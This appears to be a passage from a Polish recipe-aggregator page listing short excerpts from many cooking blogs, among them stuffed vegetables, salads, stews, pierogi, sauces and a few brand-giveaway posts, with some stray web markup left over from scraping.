pozostały złączone. Do środka fig włożyć plaster wędliny i kawałek sera pleśniowego Ułożyć figi na blasze. Włożyć do piekarnika i piec 15-20 minut. Podawać gorące z sosem, który utworzył się na dnie. A tak niedawno figi były zielone... Ale już wtedy kusiły ;) ----------- Podobne: Pomidory faszerowane ryżem Papryki faszerowane mięsem i śliwkami Faszerowana cukinia

Weekendy w domu i ogrodzie
Sałatka z kurczakiem, arbuzem i brzoskwiniami 254

Jajko oskubać i pokroić w kostkę. Brzoskwinie obrać ze skórki, pokroić w cienkie plasterki, z arbuza wydrążyć kulki. Ułożyć na sałacie. Jogurt zmieszać z oliwą z oliwek i konfiturą. Sosem polać sałatkę tuż przed podaniem. Oprószyć świeżo zmieloną solą i pieprzem

Z miłości do słodkości
Rolada schabowa z mięsem mielonym, szpinakiem i papryką 241

minut przed końcem pieczenia można zdjąć przykrycie, żeby mięso się ładnie zarumieniło. U mnie pieczenie trwało  niecałe 2 godziny, ale później mięsko trochę odpoczywało w uchylonym piekarniku. Powstały sos możną odlać i zagęścić 1 łyżką mąki, będzie dobrym dodatkiem do obiadu. Życzę smacznego

Czerwona Porzeczka
Przepis na kofty 177

gościem. Czym są kofty? W wersji greckiej to grillowany, bądź pieczony w piekarniku szaszłyk z wieprzowego mięsa mielonego. Podaje się go zazwyczaj z dipami. My podajemy go w towarzystwie sosu tzatziki, który nadaje trochę orzeźwienia i świeżości, oraz pity z oliwkami. Bardzo smaczne lekkie danie. Kofty – ZOBACZ JAK JE ZROBIĆ: SKŁADNIKI, PRZEPIS, ZDJĘCIA Kofty

Jakugotujesz.pl
Pieczone warzywa z ziołami - pyszne 241

Moja koleżanka Madzia poczęstowała mnie kiedyś takim daniem i bardzo mi posmakowało. Upiekła Ona warzywa w piekarniku z oliwą, masłem i ziołami i podała mi z sosem z serka białego i śmietany. Zaskoczył mnie smak tych warzyw. Zapiekanie ich w piekarniku z ziołami wydobyło z nich niesamowity smak i aromat. Wersja Madzi zawierała ziemniaki, seler, pietruszkę i buraki. Pycha. Pewnego

Pyza i Surówka
Naleśniki biszkoptowe z serem i sosem czekoladowym 209

wymieszać w małym garnuszku podgrzać śmietanę kremówkę, dodać połamane kawałki czekolady i mieszać do rozpuszczenia usmażone naleśniki posmarować przygotowanym farszem, złożyć na 4 części. Podpiec na patelni. Podawać polane sosem czekoladowym i udekorowane jeżynami

Gotuj zdrowo!Guten Appetit!
Kubdari czyli gruziński placek drożdżowy z mięsem 212

długo aż się zarumieni, przekładamy na drugą stronę i postępujemy tak samo. Tuż przed podaniem na placku rozpuszczamy łyżkę masła. Postępujemy tak samo z resztą składników. Podajemy z ulubionymi sosami, np. pomidorowym lub czosnkowym. Świetnie smakuje również z tzatziki. Smacznego, Klaudia

Mango Papaja
Potrawka z kurczaka z brukselką i mini marchewkami 208

marchewki dodajemy do mięsa. Całość podlewamy bulionem. Doprawiamy solą, pieprzem, lubczykiem i ostrą papryką. Dusimy na wolnym ogniu do miękkości warzyw. Pod koniec potrawkę zaciągamy mąką z odrobiną wody (sos będzie gęstszy). Makaron gotujemy w osolonej wodzie do miękkości. Podajemy z potrawką. Dekorujemy pomidorkami i posiekaną natką pietruszki

VioletoweKucharzenie
Rolada ziemniaczana na waflu 300

Dzisiaj rolada ziemniaczana na waflu. Inna odmiana podania ziemniaków. Świetnie smakuje z gulaszem lub sosem pieczarkowym. Żeby zwinąć ładnie roladę ziemniaki muszą być gorące w przeciwnym razie będzie Wam ciężko zwinąć wafel. Połamie się. Składniki: 1,5 kg ugotowanych gorących ziemniaków 2 łyżki śmietany pieprz gałka muszkatołowa 1/2 pęczka natki pietruszki jajko bułka tarta do panierowania olej do smażenia Ugotowane

O kuchni z uczuciem
Placki ziemniaczane wytrawne 172

oleju. Niektórzy lubią w wersji na słodko, wówczas nie radzę dodawać czosnku :) Ja lubię z jogurtem greckim i wędzonym łososiem ( którego tym razem niestety zabrakło w lodówce), lub z sosem koperkowo-jogurtowym. W wersji na słodko zwykle jada się je z cukrem i śmietaną

Jemy Pijemy
Kotlety z soczewicy i marchewki z surówką z pora 222

Dziś obiadowe danie z mnóstwem warzyw – wegetariańskie kotlety z soczewicy i marchewki podane z chrupiącą surówką z pora. Do tego lekki sos na bazie jogurtu i koperku, w którym możemy maczać kotleciki. Potrawa powinna przypaść do gustu nawet zatwardziałym mięsożercom – jest pełna smaku, a soczewica nadaje sytości, której często brakuje w obiadach wege. Takie kotlety to także świetny

Poezja smaku
Kalafior – sałatka z kalafiora 167

osolonej i ocukrzonej wody, przykryć. Gdy się zagotuje odkryć i gotować do pożądanej miękkości, najlepiej al dente. Nie rozgotowujmy warzyw! Kalafiora podzielić na kawałki, ułożyć na talerzu i polać sosem. Posypać pestkami dyni. Tak przygotowany kalafior może być dodatkiem do dań mięsnych lub jako samodzielne danie. Ja podałam z jajkami w koszulce. *jeżeli mamy dostęp do kolorowych kalafiorów, można pobawić

królestwo garów
,,Boczek faszerowany boczkiem wędzon” 141

Posypujemy solą, pieprzem, chilli, przyprawą czosnkową i do mięsa. 3. Mięso wkładamy do naczynia żaroodpornego, pieczemy 2,5 godziny w temp 200st., boczek kroimy w plastry. Można podać z sosem czosnkowym. Smakuje równie dobrze na zimno i na gorąco! Rewelacja

Podróż w kulinaria
Sernikiem świętuje. 167

Dyniowy serniczek z ricotty,  z malinami i sosem tahini-daktyle  Teoretycznie od dzisiaj jestem dorosła.. śmiesznie to brzmi, bo ja? nie wiem, mając te naście lat myślałam, że przekraczając tą magiczną linię dorosłości, będę super,  hiper i w ogóle.. inne, życie. Z wiekiem to się zmienia, z wiekiem coraz częściej zadajesz sobie pytanie, to już

More food, love and dreams
Romanesco z razowymi świderkami 172

Szybko, sprawnie i do gara czyli zielony kalafior, razowe świderki, trochę sosu i obiad na stole. Romanesco to zielony ozdobny kalafior. Polecam gorąco bo warto taki obiad sobie sprawić. Romanesco z razowymi świderkami. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Kapusta duszona 185

woreczków i mrożę. Składniki: 1 duża główka kapusty 2 cebule 4 kiełbasy śląskie 2 duże marchewki 2 łyżki smalcu 1 łyżeczka kminu rzymskiego 1 łyżka majeranku 2 łyżki sosu sojowego 1 łyżeczka słodkiej papryki 1 puszka pomidorów 2 łyżki przecieru pomidorowego 2 liście laurowe 4 ziarenka ziela angielskiego sól  pieprz Kapustę  poszatkować, ale nie za drobno, włożyć

O kuchni z uczuciem
Kotlety mielone w salsie pomidorowo-paprykowej 447

czasie dodać pomidory krojone z puszki i smażyć kolejne 5 minut. Następnie dodać bulion i ketchup, doprawić solą, pieprzem i 1 łyżeczką cukru. Smażyć do czasu aż sos odpowiednio zgęstnieje. Klopsiki wyłożyć na talerz, polać paprykowo-pomidorową salsą. Podawać np. z pieczonymi ziemniaczkami. Smacznego! The post Kotlety mielone w salsie pomidorowo-paprykowej appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Cukinia faszerowana mięsem i ryżem 205

sparzamy, obieramy ze skórki, kroimy na kawałki i dodajemy do mięsa. Dodajemy cukier, oregano, bazylię, sól, pieprz i dusimy kolejne 10 minut. W tym czasie pomidory się rozgotują, a sos lekko zredukuje. Dodajemy ugotowany ryż. Całość mieszamy, doprawiamy solą i pieprzem. Tak przygotowany farsz powinien być rzadki. Wykonanie: Cukinię myjemy, odcinamy końcówki, przecinamy na pół, wydrążamy środek łyżeczką. Tak przygotowaną

Smak mojego domu
Jesienny pieczony udziec z indyka 169

miękkości. Zdjąć nakrycie z naczynia i piec jeszcze 10 minut skórką do góry, żeby była chrupiąca i podsuszona. Podawać z duszonymi albo pieczonymi ziemniakami lub ryżem, które można podlać sosem z indyka. Podobne przepisy Karkówka pieczona po afrykańsku Kapuśniak rozgrzewający Perliczka w pomarańczowej marynacie Egzotyczny krem z dyni .yuzo_related_post img{width:170px !important; height:170px !important;} .yuzo_related

Pociąg Do Kuchni
Pierogi zapiekane w sosie pomidorowym 257

złoty kolor, dodajemy passatę i przyprawy. Chwilę dusimy. Pierogi ( najlepiej takie z drugiego dnia, a przynajmniej przestygnięte, nie od razu z gotowania) układamy w naczyniu żaroodpornym, na nie wylewamy sos i posypujemy startym serem żółtym. Zapiekamy w piekarniku około 20 minut

e-PrzepisyKulinarne
Suszone ogórki kiszone - nie tylko dla emigrantów 339

grubości około 2-4 milimetrów (po ususzeniu są niemal przezroczyste). Część ususzonych kiszonych ogórków mielę w młynku do kawy lub rozdrabniam w moździerzu i używam jako zagęstnika do niektórych sosów lub zup m.n. do białego barszczu lub żurku, którym nadają wspaniały lekko kwaskowy posmak. Pokrojone ogórki ułożyć na sitach. Ogórki w plasterkach bardzo szybko zaczną tracić wodę i będą suche

Kulinaria - potrawy z różnych stron świata
Gołąbki z serkiem topionym 261

kapusty. Gotowe obsmażamy na rozgrzanej patelni na rumiano. Przekładamy je do garnka (dno wykładamy pozostałymi liśćmi kapusty). Na patelnię po smażeniu wlewamy wodę, dodajemy mąkę i koncentrat pomidorowy. Zagotowujemy. Sos przelewamy do mięsa. Opcjonalnie możemy doprawić pieprzem. Gotujemy na wolnym ogniu pod przykryciem przez 30-40 minut

VioletoweKucharzenie
Zupa paprykowa 181

doprawić według własnych potrzeb. Składniki: 1 kość szyja z indyka 2 średnie marchewki 1 pietruszka 1 mały seler 4 średnie ziemniaki 2 średnie czerwone papryki 400 g  tomatery (sos pomidorowy) 1 cebula 200 ml kwaśnej śmietany 1 liść laurowy 4 ziarenka ziela angielskiego 1/2 łyżeczki słodkiej papryki płatki chilli sól pieprz Do garnka włożyć szyję z indyka i zalać

O kuchni z uczuciem
Krewetki z patelni z porem, czosnkiem i natką 269

najlepszy sposób. Przede wszystkim nie może zabraknąć mi czosnku, a reszta dodatków zależy od tego, co znajdę w lodówce. ;) Dzisiaj miałam ochotę na coś bardziej łagodnego. Wykombinowałam więc lekki sos na bazie kremowego serka (zamiast masła), pora, czosnku i natki pietruszki. Krewetki wcześniej krótko obsmażyłam (po 2-3 minuty z obu stron), delikatnie doprawiłam, skropiłam sokiem z cytryny i... gotowe

Kuchnia Ellie
Grzyby w słoiku na zimę do sosów i zup 224

lubię ich konsystencji po odmrożeniu. Za to ta wersja świetnie się sprawdza w moim domu, grzyby wystarczy opłukać na sitku i świetnie nadają się do różnych sosów, zup czy czego tylko zapragniecie. Wcześniej z takimi opieńkami przygotowywałam zapiekanki  . Tak możecie przechowywać wszystkie grzyby, nie tracąc przy tym ich konsystencji i kształtu

Niezły Młynek
Babka kalafiorowo-serowa z marchewką, ogórkiem kiszonym i koperkiem 169

trakcie pracy jeszcze kilka razy uległ zmianie, aż powstał taki oto wytrawny wypiek w postaci babki :) można pokroić w plastry jako przystawkę do chleba, a podając na ciepło z sosem i dodatkami zyskamy pyszny obiad lub kolację. Składniki: 1 duży kalafior 25 dag sera żółtego 3 jajka 2 duże marchewki 4-5 średnich ogórków kiszonych 1 duży pęczek koperku

Kolorowy Przepisownik
Pomidory faszerowane kaszą gryczaną i kurkami, podawane na grillowanej chałce 133

smaku. Faszerowanie i podanie Pomidory umyj i odetnij z nich górę. Za pomocą łyżki wydrąż je, pozostawiając miąższ na około pół centymetra od skórki. (Pozostały miąższ możesz wykorzystać do sosu pomidorowego lub gazpacho). Pomidory wypełnij farszem i włóż do naczynia żaroodpornego wysmarowanego oliwą. Piecz około 30 minut w 200°C . Pod koniec pieczenia, kromki chałki podpiecz na węglowym grillu

Food Square
Bardzo dobre ciasto na pizzę 248

powinno podwoić objętość. Podzielić na połowę i kształtować pizzę ( rozciągając w dłoniach nie wałkować!). Pizzę z dodatkami piec w temp. 200 st.C ok 10-12 min. Przepis na sos pomidorowy do pizzy podałam  tutaj SMACZNEGO

Maślane ciasteczko
Knedle ze śliwkami i cynamonem 193

knedle doprawione odrobiną cynamonu tak jak ja lubię. Można go oczywiście nie dodawać, jeśli ktoś nie przepada. Zrobione na słono, czyli bez dodatku cukru są znakomitym dodatkiem do mięsnych sosów. Polecam. Składniki na ok. 20szt: 60dkg ziemniaków ugotowanych z płaską łyżeczką soli 30dkg mąki pszennej 1 jajko śliwki węgierki 10szt cukier i cynamon trochę mąki do podsypywania masło i trochę

Maślane ciasteczko
Śliwki w kopertach z miodem i imbirem 169

Delikatne pierożki że śliwkami z nutą rozgrzewającego imbiru na obiad w chłodny deszczowy dzień jak dzisiaj...Miodzioo. Dosłownie, bo całość polana ciepłym, miodowo-maślanym sosem.    Ciasto na ok 25-30 pierożków:        35 dkg mąki 150 ml ciepłego mleka 2 żółtka  kopiata łyżka miękkiego masła szczypta soli Do nadzienia

Maślane ciasteczko
Curry z ciecierzycą i szpinakiem 219

chili, smaż przez minutę, nie przerywając mieszania. Następnie dodaj pomidory wraz zalewą. Całość gotuj około 5 minut. Dodaj mleko kokosowe i ugotowaną ciecierzycę, gotuj około 10 – 15 minut – aż sos zacznie gęstnieć. Dopraw solą, pieprzem i w razie potrzeby – pozostałymi przyprawami. Dodaj szpinak i gotuj około 2- 3 minut aż liście ‚zwiędną’ Curry podawaj w głębokich miseczkach z ugotowanym wcześniej

Moja pasja smaku
Suflet z brokułów 143

tego cudownego warzywa. Zwróćcie tylko uwagę, żeby pod żadnym pozorem nie otwierać drzwiczek piekarnika podczas pieczenia bo suflet może opaść. Idealnym dodatkiem do tego dania będzie wyrazisty w smaku sos, np. chilli

Milion Smaków
Odwrócone ciasto z gruszkami w karmelu 239

Ciasto z dodatkiem mąki pełnoziarnistej, która nadała delikatnego posmaku orzechowego. Pomimo tego dodatku ciasto nie jest ciężkie, ale miękkie, wilgotne i smaczne. Na wierzchu gruszki w sosie karmelowym, które idealnie pasowały do pełnoziarnistego ciasta. GRUSZKI: 50g masła 1/2 szklanki cukru 1/2 szklanki śmietanki 30% 500g twardych gruszek CIASTO: 3 jajka 1/2 szklanki cukru 1/2 szklanki oleju 1/2 szklanki kwaśniej śmietany

https:KKuchniaMniam
Drożdżowy wieniec grzybowo - cebulowy 177

Zostało mi trochę suszonych grzybów - za mało do sosu grzybowego i do pierogów. Postanowiłam je wykorzystać w przygotowaniu wieńca drożdżowego, który z powodzeniem może zastąpić tradycyjnego kulebiaka – wyśmienicie smakuje z czerwonym barszczykiem i jest piękną ozdobą stołu. Składniki: Na ciasto: 65 dag mąki pszennej, 2 dag świeżych drożdży, 200 ml letniego mleka, 2 jajka, 2 łyżki kwaśnej śmietany, 1/2 łyżeczki

Nie tylko w kuchni
Tahini czyli domowa pasta sezamowa (z miodem) 175

Tahini ma bardzo duże zastosowanie w kuchni – tę pastę dodajemy do humusu, dipów, sosów a także ciast (już niedługo na blogu słodkości z tahini :):):) ). Składniki: 100 g sezamu, 1 łyżka oleju (użyłam rzepakowego), 1 łyżka płynnego miodu Sposób wykonania: Sezam uprażyć na suchej patelni na złoty  kolor i wystudzić. Ziarna sezamu przełożyć do blendera  kielichowego, dolać olej

Nie tylko w kuchni
Pałki kurczaka z pieczarkami, groszkiem i marchewką 150

naczynia i dodać marchew z groszkiem, przemieszać – całość piec bez przykrycia jeszcze około 15 minut (do czasu zrumienienia się skórki na pałkach). Podawać z ziemniakami lub ryżem.   Powstały sos (pieczarki puszczają sporo soku) można zaprawić słodką śmietanką. Smacznego

Nie tylko w kuchni
Soczysta, ziołowa pierś z kurczaka pieczona w rękawie. 188

naczynia. Piersi wstawić do nagrzanego do 180 stopni piekarnika i piec około 45 minut. Pod koniec pieczenia rozciąć worek - pierś pięknie się zrumieni. Tak przygotowana pierś świetnie smakuje z sosem grzybowym

Nie tylko w kuchni
Sos borowikowo porowy z ziołami 151

przeciśnięty przez praskę czosnek. Dolać wino i chwilę smażyć. Dorzucić grzyby, doprawić solą oraz świeżo zmielonym pieprzem. Smażyć około 15 minut. Śmietankę rozrobić z niewielką ilością odebranego sosu – wlać na patelnię i zagotować. Na koniec dodać świeży tymianek i rozmarym. Gotowe

Nie tylko w kuchni
Kacze nóżki pieczone w jabłkach i jarzębinie 177

jabłka ( ja ich wcześniej nie obieram).  Naczynie przykryć i wstawić do nagrzanego do 200 stopni piekarnika. Piec około 1,5 godziny, od czasu do czasu polewać mięso powstałym sosem ( jest go naprawdę dużo).  W końcowej fazie pieczenia możemy odkryć naczynie - skórka na nóżkach będzie chrupiąca.  Smacznej jesieni

Nie tylko w kuchni
Kluski śląskie 270

Potrawa dla wielbicieli ziemniaków pod każdą postacią. Możemy serwować je jako samodzielne danie a także dodatek do mięs czy sosów. Składniki: 1 kg ziemniaków ok. 1 szkl mąki ziemniaczanej 1 … Czytaj dalej Kluski śląskie

Fiołkowa Kuchnia Małgorzaty
Zapiekanka z ryżem, warzywami i mięsnymi kulkami 209

przygotowywanie czasochłonnych posiłków. Zapiekanka z ryżem, warzywami i mięsnymi kulkami to pomysł na szybki, łatwy i bardzo smaczny obiad. Całość wystarczy zapiec w naczyniu żaroodpornym i podać z ulubionym sosem.  Składniki na porcję dla 3-4 osób: 0,5 kg mięsa mielonego wieprzowego, np. z łopatki 1 mała cebula 1 szklanka suchego ryżu 1 marchewka 1 por (biała część

Ugotować
Wegańska tarta z cukinią i pesto, Grand Budapest Hotel 219

Przygotuj  cornbread . Po upieczeniu posmaruj pesto, np. pomidorowym lub bazyliowym i udekoruj podpieczonymi lub grillowanymi paskami cukinii. Możesz też dodać paski marchwi i bakłażana. Najlepiej smakuje z sosem, np. czosnkowym lub grzybowym. Przygody Gustawa, legendarnego konsjerża pewnego hotelu z fikcyjnej republiki Zubrowka i Zero Mustafy, boja hotelowego, który zostaje jego najbardziej zaufanym przyjacielem. Akcja filmu rozgrywa się między pierwszą

Qlinarnie i Qlinarnie
Chrupiący kurczak w aromatycznej panierce z pastą misą i imbirem 213

duży ząbek czosnku, 2-3 łyżki wina do gotowania Shaoxing, łyżka octu ryżowego 3 łyżki mąki pszennej, 4 łyżki mąki ryżowej, 3 łyżeczki proszku do pieczenia olej do smażenia sos: 5-6 łyżek jogurtu naturalnego, 1-2 łyżeczki słodkiej pasty chilli, sok z połowy limonki Filet z piersi kurczaka oczyść, umyć i osuszyć, pokroić na małe kawałki o wielkości

Plate of Joy
Schab faszerowany podgrzybkami 243

mięso odpoczęło, rozwijamy z papieru i możemy przekroić roladki schabowe na 3 części. Ja podałam Schab faszerowany podgrzybkami z surówką z włoskiej kapusty, z porem, marchewką, jabłkiem i sosem majonezowo-jogurtowym. Smacznego!   The post Schab faszerowany podgrzybkami appeared first on Damsko-męskie spojrzenie na kuchnię

Damsko-męskie spojrzenie na kuchnię
Gyros z kurczaka - smaczne i szybkie danie obiadowe 471

Proste i szybkie danie, które przypadnie do gustu wszystkim smakoszom kebabów i potrawy gyros. Doskonałym dodatkiem będą frytki lub pieczone ziemniaki, a do tego sałatka z sosem czosnkowym. Porcja dla 2 osób. SKŁADNIKI 2 piersi z kurczaka przyprawa gyros/kebab oliwa WYKONANIE Piersi z kurczaka umyć i pokroić w paski lub kostkę. Przełożyć do głębokiego talerza lub miski, polać oliwą

Passions hobbies life
Dynia na zimową zupę 183

wiecie co z nią zrobić to mam pomysł na jej wykorzystanie. Po prostu zamknijcie ją w słoiku i wykorzystajcie zimą do zupy. Można też dodać ja na przykład do sosów. Wszystko od Was zależy, może wyczarujecie coś nowego i smacznego z dodatkiem takiej oto dyni. Rozwiń i czytaj przepis

Ewa w kuchni
Gulasz wołowy z grzybami z wolnowaru 225

grzyby, czosnek i rozmaryn. Mięso powinno być prawie  zakryte bulionem. Wolnowar ustawić na program low  (80 - 90 st. C)  i gotować przez 10  godzin. Powstały sos można zabielić śmietaną. Podawać np z ziemniakami lub kaszą albo z dobrą bagietką . Smacznego

Stare Gary
Maca, Pałanica, Podpłomyki – przepis 283

Bardzo ciekawym rozwiązaniem jest dodawanie do ciasta różnego rodzaju dodatków takich jak papryka ostra, czarnuszka czy ziół. Można spożywać na sucho lub z dodatkiem miodu, twarogu, czy różnego rodzaju sosów

Mr. Taste
Wołowina z woka z sosem hoisin 135

smaczne. Nie inaczej jest w tym przypadku. Doskonałą polędwica wołowa połączona z klasycznymi dodatkami jak: papryka, czerwona cebula i peperoni daje za każdym razem dobry efekt. Smaku dopełnia klasyczny sos hoisin, który dodaje daniu słodkiej i owocowej nuty

Milion Smaków
Parówkowe buły 177

zwiększamy temperaturę do 220 C . Pieczemy około 20-30 minut , aż się zrumienią , w połowie pieczenia prószymy po wierzchu tartym serem . Podajemy na gorąco z dodatkiem ketchupu lub sosu czosnkowego . Na zimno drugiego dnia także są pyszne " class="wp-smiley" style="height: 1em; max-height: 1em;" /> Smacznego " class="wp-smiley" style="height: 1em; max-height: 1em;" /> Post Parówkowe buły pojawił

Ogrodnik w podróży
Tatar – klasyczny befsztyk tatarski z sardynką i włoskimi dodatkami 305

jakże mogło by być inaczej) w kuchni francuskiej. Na początku wieku XX popularnym daniem został ‘steak l’americanne avec sauce tatare’, czyli siekana wołowina po amerykańsku, podawana z sosem tatarskim. Pierwsze wydanie gastronomicznej encyklopedii „Larousse Gastronomique” maksymalnie skróciło nazwę dla tego dania i pozostało dobrze nam dzisiaj znane „steak tartare”. Tatar jest jedzony pod każdą szerokością geograficzną. Chilijczycy

Karo in the Kitchen
Papryka faszerowana mięsem mielonym i pęczakiem z szybkowaru lub pieczona 189

dodajemy jajka i mięso mielone - doprawiamy  Farsz dokładnie mieszamy i napełniamy nim papryki - zakładamy czapeczki Układamy w szybkowarze zalewamy rosołem   (możemy potem na jego bazie przygotować sos np : pomidorowy) lub wodą  Zamykamy szybkowar ustawiamy na 2 poziom Od momentu ujścia pary gotujemy koło 15 minut w zależności od wielkości papryk  Jeśli pieczemy :  Układamy

Od kuchni czyli o wszystkim po trochę
Wegetariańskie leczo z ciecierzycą 193

kroimy cukinię i paprykę, siekamy też drobno papryczkę chili. Wszystko podsmażamy razem z cebulą. Zdejmujemy z ognia.  Gdy pomidory trochę nam się rozprażą, dodajemy pozostałe warzywa. Dusimy, aż sos zgęstnieje.  Na koniec dodajemy cieciorkę. Doprawiamy solą, pieprzem i kminkiem. Podajemy z opiekanymi ziemniakami lub makaronem. SMACZNEGO

Czerwona Porzeczka
SMAŻONY KALAFIOR W CHRUPIĄCYM CIEŚCIE 448

dziś! Jest to jeden z moich ulubionych sposobów na kalafiora! Różyczki kalafiorowe obtoczone w cieście i smażone na złoto są niesamowicie chrupiące! Świetnym dodatkiem do nich jest ulubiony sos – czosnkowy, jogurtowy czy też śmietanowy. Są idealnym pomysłem zarówno na obiad, kolację, jak i i mprezową przekąskę na ciepło. Śmiało można je odgrzewać w piekarniku – absolutnie nie stracą wtedy

Ostra na Słodko
aromatyczna karkowa pieczeń w niedźwiezim czosnku 228

podczas pieczenia. Umożliwia on pieczeni, wchłonięcie z powrotem soków, które z niej wypłynęły w trakcie pieczenia. Teraz możemy wyjąć pieczeń z piekarnika i podać ją na gorąco, podlewając porcje sosem z pieczenia, lub na zimno

Miód i pieprz
Kotlety zapiekane z serem, oliwkami i suszonymi pomidorami 194

brakuje mi pomysłu na obiad idę w te najprostsze rozwiązania jak kotlety schabowe, mielone czy schab w sosie. Jednak zawsze chce się coś urozmaicić w daniu, dlatego postanowiłam zapiec kotlety z piersi z kurczaka z kilkoma dodatkami :) Składniki: 1 podwójna pierś kurczaka, 1 jajko, kilka plasterków cienkiego sera żółtego, 4 oliwki czarne, 2 suszone pomidory w oliwie, sól, pieprz, bułka

Aga w kuchni
Podpłomyki 329

synek domaga się ciasteczka, przygotowuję podpłomyki w kilka minut. Jest to najprostsza forma pieczywa/tortlilli/placków. Najczęściej jemy je z dżemem, ale można uformować większe i podać z gulaszem, z sosem czosnkowym i kurczakiem. Składniki: pół szklanki mąki pszennej pół szklanki mąki żytniej łyżka oliwy/oleju trochę ciepłej wody 1. Z podanych składników zagniatamy elastyczne ciasto. 2. Rozgrzewamy patelnię, urywamy kawałek ciasta

NA MOIM TALERZU
Lekka sałatka z komosą ryżową 225

plasterki. Kukurydzę odsączam z zalewy. 2. Wszystkie przygotowane składniki sałatki delikatnie ze sobą mieszam.  3. Oliwę z oliwek mieszam z sokiem z cytryny, solą oraz pieprzem. Przygotowanym sosem polewam sałatkę.  Do przygotowania sałatki wykorzystałam Quinoa- komosę ryżową, którą otrzymałam do testowania od firmy  MAKAR . Komosa ryżowa to roślina o niezwykłych właściwościach odżywczych, zawiera w sobie pełnowartościowe białko

Tradycyjna kuchnia Kasi
Niespodzianka od WSP Społem- Majonez Kielecki 160

prezentu był dołączony list, a w nim zagadka. Mam odgadnąć, jaką nowość zamierza wprowadzić firma WSP Społem. To ciężkie zadanie, gdyż asortyment produktów WSP Społem jest duży. Stawiam na sos ziołowy lub krem gorczycowy. Zobaczymy, czy zgadnę. A Wy co odstawiacie? Zapraszam serdecznie na stronę firmy WSP Społem (klik

Tradycyjna kuchnia Kasi
Udka pieczone w sosie majonezowo - ketchupowym 156

Uwielbiam kurczaka w tym sosie! Składniki: 4 udka z kurczaka, 1 łyżka majonezu, 1 łyżka ketchupu, 2 ząbki czosnku, 1 łyżka bułki tartej, sól do smaku, pieprz do smaku, tłuszcz do formy. Wykonanie: Udka umyć, natrzeć pieprzem, solą i zmiażdżonym czosnkiem, po czym odstawić na trzy godziny w chłodne miejsce. Formę posmarować tłuszczem i ułożyć przygotowane udka. Majonez wymieszać

Tradycyjna Kuchnia
Zagadkowa niespodzianka od WSP Społem 175

nowy produkt firma planuje wprowadzić na rynek. Od razu jak zobaczyłam nóż i tarkę pomyślałam o warzywach więc może to będą jakieś pyszne surówki/sałatki albo może jakieś sosy do tych surówek/sałatek a prezent ten po to aby było czym przygotować warzywa? Co to będzie przekonamy się wkrótce

Monia miesza i gotuje
"Coraz bliżej Święta..." I nieświąteczny keks wytrawny 201

coś zupełnie nieświątecznego. Przepis znalazłam u Bei . Mamy ostatnio w domu wędzonego łososia w ilościach nieskończonych, i kombinuję, co bym z nim zrobić. Była sałatka, był sos do makaronu, tarta, bajgle z pastą jajeczno-łososiową... W końcu przyszedł czas na wytrawny keks, który kusił mnie od dawna. Zamiast sera koziego użyłam oscypka, który przyjechał z nami z Polski

Pożeraczka, czyli raz adobrze
Sałatka z tortellini z pieczarkami i cebulą 481

wszystkim bardzo smaczna sałatka. Trafiłam na nią dzięki Kasi, która przekonała mnie przez nią zupełnie przypadkiem do tortellini, za którym nie przepadałam. Przy okazji danie to powinno się nazywać "SOS", bo gdy nie mamy właściwie nic co wydawać by się mogło nadaje się na sałatkę, pojawia się właśnie ten przepis. ;) 1 opakowanie dowolnego tortellini (u mnie z serem, ale polecam

Kuchenna Kontrrewolucya
ETERNO- współpraca 187

sałatkę, dla miłośników słodko – kwaśnych smaków z nutą pikanterii. Ulubiony dodatek, zwłaszcza dla Panów, do grillowanych mięsiw. Przygotowane z najwyższej jakości składników ucieszą nasze podniebienie, z powodzeniem zastępuje pospolite sosy, ketchup czy dipy. FIRMA ETERNO POLECA Jako sałatka do grillowanych dań.  Idealny dodatek do pieczonych kiełbasek i mięsiw.  Na śniadanie podaj razem z żółtymi serami, na obiad jako

ClauditteMissCooking
U PROGU JESIENI. LEŚNE GRZYBY W ŚMIETANIE 203

domu i dzieciństwa.  Piękne wspomnienia ...  Składniki: dowolne leśne grzyby (kurki, maślaki, prawdziwki, podgrzybki lub inne ulubione) 2 cebule śmietana ukwaszona 18% (nie podaję ilości, zależy ile sosu chcemy uzyskać) sól pieprz natka pietruszki sklarowane masło Wykonanie: Grzyby czyścimy. Kroimy na mniejsze kawałki. Wkładamy na wrzącą wodę i parzymy około 5 minut. Na rozgrzanym maśle podsmażamy pokrojoną w kostkę

Walijskie Pichcenie
Niespodzianka z zagadką 134

dziękuję bardzo..już wcześniej miałam okazję testować pyszności , a teraz ...niedługo znów otrzymam nowość tejże firmy..mhm...ale co to będzie? Majonezy są , musztardy różne są, ketchupy też są, sosy i octy też..no i jestem ciekawa cóż to będzie..a może musztarda ogórkowa lub inna warzywna

Moje domowe kucharzenie
Niespodzianka i Zagadka 163

rynek WSP Społem …i bądź tu mądra :D Na pewno coś pysznego! To wiem, bo produkty tej firmy goszczą w moim domu od lat! Musztarda jest, chrzan jest, sosy o różnych smakach są ..... Stawiam na  Majonezowy Dressing o jakimś smaku  –tego jeszcze nie było! No bo chyba nic, co by mogło powstać poprzez krojenie czy tarcie

Wanilia i Kardamon
UDZIEC Z INDYKA 167

zawsze się nim rozkoszujemy.Spróbujcie a z pewnością nie pożałujecie. Uwielbiamy tak przypieczoną skórkę,ale jeśli ktoś tego unika zawsze można lżej upiec. Składniki   udziec z kością  sos sojowy  4-5 ząbków czosnku pieprz ziołowy papryka ostra 3 liście laurowe  4 ziela angielskie majeranek Wszystkie składniki marynaty łączymy ze sobą,dodajemy olej rzepakowy,około pół szklanki

Niespełnione zdolności kulinarne
ZRAZY Z KARKÓWKI 210

Zrazy układamy pośrodku dużej patelni na rozgrzanym oleju,obsmażamy.Pieczarki oczyszczamy,układamy wokół mięsa i podsmażamy.Dusimy z mięsem ok 40min.Od czasu do czasu roladki odwracamy i oblewamy powstałym sosem.   Takie zraziki można przygotować z większej ilości mięska,podana ilość składników może być zmieniana wg upodobań.My zawsze dajemy więcej pieczarek bo za nimi przepadamy.   Bardzo dziękuję wszystkim

Niespełnione zdolności kulinarne
SAŁATKA Z KURCZAKIEM 178

podwójna pierś z kurczaka sałata lodowa 2 duże pomidory 2 ogórki zielone pęczek rzodkiewek 2 łyżeczki przyprawy do gyrosa 1,5 łyżeczki czubrycy czerwonej łyżeczka przyprawy do drobiu sos włoski do sałatek 2 ząbki czosnku łyżeczka czubrycy zielonej ,pieprz Pierś z  kurczaka pokroić w paseczki lub kostkę,posypać przyprawą do drobiu,do gyrosa oraz czerwoną czubrycą i dobrze wymieszać

Niespełnione zdolności kulinarne
